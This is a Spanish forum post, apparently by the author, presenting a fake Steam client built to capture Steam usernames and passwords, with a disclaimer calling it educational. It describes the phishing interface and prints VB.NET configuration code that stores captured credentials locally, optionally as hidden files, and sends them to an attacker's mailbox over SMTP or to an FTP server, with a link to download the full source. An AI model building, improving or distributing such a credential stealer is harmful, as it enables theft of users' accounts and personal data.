Descripción
Esta aplicación es una simple falsificación (fake) del cliente de Steam correspondiente a la versión 2.70.82.9, el desarrollo de esta aplicación ha sido con fines educativos, con el objetivo de demostrar cómo se puede elaborar un engaño de este tipo para simular la ejecución de una aplicación legítima y así obtener datos personales (el usuario y la contraseña de Steam),
queda bajo su responsabilidad el uso que le vaya a dar a este programa.
Por fuera el usuario solo verá una aplicación que consta de 3 Forms con un par de botones y poco más, pero lo cierto es que he invertido bastante esfuerzo para conseguir elaborar una buena "mímica" (o al menos considero que es buena), hay una gran labor detrás ...en el código fuente, y con mucho código rehutilizable que les puede servir para proyectos relacionados.
Características
- Soporte multi idioma, soportando un total de 22 de los 26 idiomas del cliente original de Steam. Los idiomas no soportados son Koreano, Japonés, Chino tradicional y Chino simplificado
- Auto-detección de idioma. Por defecto se detectará el idioma del cliente steam instalado en el PC, si el cliente no está instalado se intentará utilizar el idioma del SO, si esto falla también, se utilizará el Inglés.
- Simulación elaborada de varias características del cliente original de Steam, así cómo de los efectos de iluminación de los controles de la interfáz original.
- Almacenamiento de usuario/contraseña en archivo local.
- Envio de usuario/contraseña mediante SMTP.
- Envio de usuario/contraseña mediante FTP.
En resumen he intentado cuidar todos los detalles posibles, aunque no soy perfecto, claro está.
Imágenes (de la interfáz en inglés)
Demostración y comparación de similitud
Configuración
Para configurar el programa hay que compilar el código fuente, dentro del código fuente encontrarán la carpeta/namespace Config que contiene todos los valores configurables del programa:
La configuración del idioma:
Código
Nota: Los nombres de las culturas disponibles están especificados en el método DetectLanguage de la Class SteamHelper.
#Region " Steam Interface Configuration " ''' <summary> ''' The default steam interface language. ''' Use this for testing purposses ''' </summary> Public Shared ReadOnly DefaultSteamLanguage As New CultureInfo("en-US") ''' <summary> ''' If set to <c>True</c>, overrides the default steam interface language instead of detect the proper language. ''' Use this for testing purposses ''' </summary> Public Shared ReadOnly UseDefaultSteamLanguage As Boolean = False #End Region
La configuración del nombre de usuario y contraseña:
Código
#Region " Username and Password Configuration " ''' <summary> ''' The string format to write/upload/send the captured username/password. ''' </summary> Public Shared ReadOnly UserPassTextFormat As String = <a><![CDATA[ Username={0} Password={1} ]]></a>.Value #End Region
La configuración de almacenamiento local:
Código
#Region " Local Storage Configuration " ''' <summary> ''' If set to <c>True</c>, enables local storage of the username/password. ''' </summary> Public Shared ReadOnly EnableLocalStorage As Boolean = True ''' <summary> ''' The local directory where to write the file. ''' If the directory doesn't exists, it will try to create it. ''' </summary> Public Shared ReadOnly LocalDir As String = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), " Fake Steam") ''' <summary> ''' The file name to store the data on the local directory. ''' By default is "FakeSteam_{ComputerName}_{Username}_{Day}-{Month}-{Year}_{Hour}-{Minute}-{Seconds}.txt" ''' </summary> Public Shared ReadOnly LocalFilenameFormat As String = String.Format("FakeSteam_{0}_{1}_{2}.txt", Environment.MachineName, Environment.UserName, DateTime.Now.ToString("dd-MM-yyyy\_hh-mm-ss")) ''' <summary> ''' Sets the local directory attributes, such as system or hidden. ''' </summary> Public Shared ReadOnly DirAttribs As FileAttributes = FileAttributes.Normal ''' <summary> ''' Sets the local file attributes, such as readonly or hidden. ''' </summary> ''' Public Shared ReadOnly FileAttribs As FileAttributes = FileAttributes.Normal ''' <summary> ''' Sets the textfile encoding. ''' </summary> Public Shared ReadOnly FileEncoding As Encoding = Encoding.Default ' ANSI Encoding. #End Region
La configuración de envío SMTP:
Código
#Region " SMTP Sending Configuration" ''' <summary> ''' If set to <c>True</c>, enables STMP sending of the username/password. ''' </summary> Public Shared ReadOnly EnableSmtp As Boolean = True ''' <summary> ''' The SMTP server. ''' </summary> Public Shared ReadOnly SmtpServer As New SmtpClient("smtp.gmail.com") ''' <summary> ''' The SMTP server port. ''' </summary> Public Shared ReadOnly SmtpPort As Integer = 0 ''' <summary> ''' The SMTP security. ''' </summary> Public Shared ReadOnly SmtpSslEnabled As Boolean = True ''' <summary> ''' The mail account address. ''' </summary> Public Shared ReadOnly MailAddress As New MailAddress("name@serv.com") ''' <summary> ''' The mail account username/password credentials. ''' </summary> Public Shared ReadOnly MailCredentials As New NetworkCredential("username", "password") ''' <summary> ''' The mail subject. ''' By default is "Steam_{ComputerName}_{Username}_{Day}-{Month}-{Year}_{Hour}-{Minute}-{Seconds}" ''' </summary> Public Shared ReadOnly MailSubject As String = String.Format("Steam_{0}_{1}_{2}", Environment.MachineName, Environment.UserName, DateTime.Now.ToString("dd-MM-yyyy\_hh-mm-ss")) #End Region
La configuración de envío FTP:
Código
#Region " FTP Uploading Configuration " ''' <summary> ''' If set to <c>True</c>, enables FTP upload of the username/password. ''' </summary> Public Shared ReadOnly EnableFtp As Boolean = False ''' <summary> ''' The FTP Server address. ''' </summary> Public Shared ReadOnly FtpAddress As Uri = New Uri("ftp://127.0.0.1/") ''' <summary> ''' The FTP server port. ''' </summary> Public Shared ReadOnly FtpPort As Integer = 21 ''' <summary> ''' The FTP username/password credentials. ''' </summary> Public Shared ReadOnly FtpCredentials As New NetworkCredential("username", "password") ''' <summary> ''' The FTP directory where to upload the file. ''' The directory path should exist. ''' </summary> Public Shared ReadOnly FtpDir As String = "Fake Steam/" ''' <summary> ''' The file name to store the data on the FTP directory. ''' By default is "FakeSteam_{ComputerName}_{Username}_{Day}-{Month}-{Year}_{Hour}-{Minute}-{Seconds}.txt" ''' </summary> Public Shared ReadOnly FtpFilenameFormat As String = UserConfig.LocalFilenameFormat ''' <summary> ''' If set to <c>True</c>, uses Binary mode for the file transfer. ''' </summary> Public Shared ReadOnly UseBinaryTransfer As Boolean = False #End Region
Descarga
http://www.mediafire.com/download/iocwwp3r3i59mdd/Fake+Steam.rar
IMPOTANTE: Compilar la solución en modo Release, en el modo Release suprimo las excepciones controladas, aparte, el modo Debug tiene un comportamiento distinto y se muestran controles adicionales para testear el la iluminación de los botones:
Saludos!